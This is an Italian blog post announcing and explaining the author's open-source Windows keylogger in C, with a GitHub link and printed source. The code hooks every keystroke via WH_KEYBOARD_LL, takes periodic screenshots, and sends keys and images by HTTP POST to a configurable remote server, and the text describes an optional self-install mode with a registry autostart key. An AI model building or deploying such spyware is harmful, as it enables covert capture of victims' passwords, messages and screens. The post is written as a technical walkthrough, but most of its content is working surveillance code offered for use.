GIANLUCA GHETTINI'S WEBSITE

CONTACT              DONATE


02/17/2017

Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).

Ecco il link al repository su github:

https://github.com/gianlucag/Keylogger

E' lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.

1487631997_image

Ecco le caratteristiche principali del keylogger:

Gli eventi mouse sono opzionali, l'intervallo di cattura dello snapshot è configurabile così come l'URL remoto di invio dei dati.

Funzionamento generale

Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l'intercettazione a basso livello degli eventi tastiera generati dall'utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger "svuota" il buffer e invia i dati ad un URL specifico, anch'esso configurabile. L'invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).

Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.

Funzionamento nel dettaglio

Analizziamo meglio il codice sorgente:

Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.

int main(int argn, char* argv[])
{
    mutex = CreateMutex(NULL, FALSE, NULL);

    buffer = (char*)malloc(BUFFERLEN);
    buffer[0] = 0;

    HANDLE logger;
    logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL);

    unsigned int timer = 0;
    int len;

    while(1)
    {
        if(timer % SNAPSHOT_SEC == 0)
        {
            SendScreenshot();
        }

        if(timer % 10 == 0)
        {
            // lock
            WaitForSingleObject(mutex, INFINITE);

            len = strlen(buffer);

            // unlock
            ReleaseMutex(mutex);

            int res = CurlSend(buffer, len, "text=");
            if(res)
            {
                // lock
                WaitForSingleObject(mutex, INFINITE);

                // reset buffer
                strcpy(buffer, buffer + len);

                // unlock
                ReleaseMutex(mutex);
            }
        }
        timer++;
        Sleep(1000); // 1 sec sleep
    }
    return 0;
}

Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l'utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l'evento WM_KEYDOWN ossia l'evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri

LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode == WM_KEYDOWN)
    {
        KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam;
        SaveKey(keyboard->vkCode);
    }

    return DefWindowProc(hwnd, nCode, wParam, lParam);
}

DWORD WINAPI KeyLogger()
{
    HINSTANCE hExe = GetModuleHandle(NULL);
    //hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0);
    hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0);
    MSG msg;

    while (GetMessage(&msg, NULL, 0, 0) != 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l'altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.

Creazione snapshot ed invio remoto

La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente  i dati png

BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut)
{
    BOOL Success=FALSE;
    HDC SurfDC=NULL;
    HBITMAP OffscrBmp=NULL;
    HDC OffscrDC=NULL;
    LPBITMAPINFO lpbi=NULL;
    LPVOID lpvBits=NULL;
    HANDLE BmpFile=INVALID_HANDLE_VALUE;
    BITMAPFILEHEADER bmfh;

    if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL)
        return FALSE;

    if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL)
        return FALSE;

    HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp);
    BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY);
    lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));

    ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
    lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);

    SelectObject(OffscrDC, OldBmp);
    if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS))
        return FALSE;

    lpvBits = malloc(lpbi->bmiHeader.biSizeImage);

    if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS))
        return FALSE;

    int h = height;
    int w = width;
    unsigned scanlineBytes = w * 4;
    if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4;

    char *png = malloc(w * h * 4);
    int x,y;

    for(y = 0; y < h; y++)
        for(x = 0; x < w; x++)
        {
            unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x;
            unsigned newpos = 4 * y * w + 4 * x;

            png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R
            png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G
            png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B
            png[newpos + 3] = 255;            //A
        }

    free(lpvBits);
    lodepng_encode32_memory(png, width, height, bufferOut, lengthOut);
    free(png);

    return TRUE;
}
Modalità auto installer

La modalità auto installer copia l'eseguibile all'interno della cartella di installazione di Windows e crea una chiave di registro per l'avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager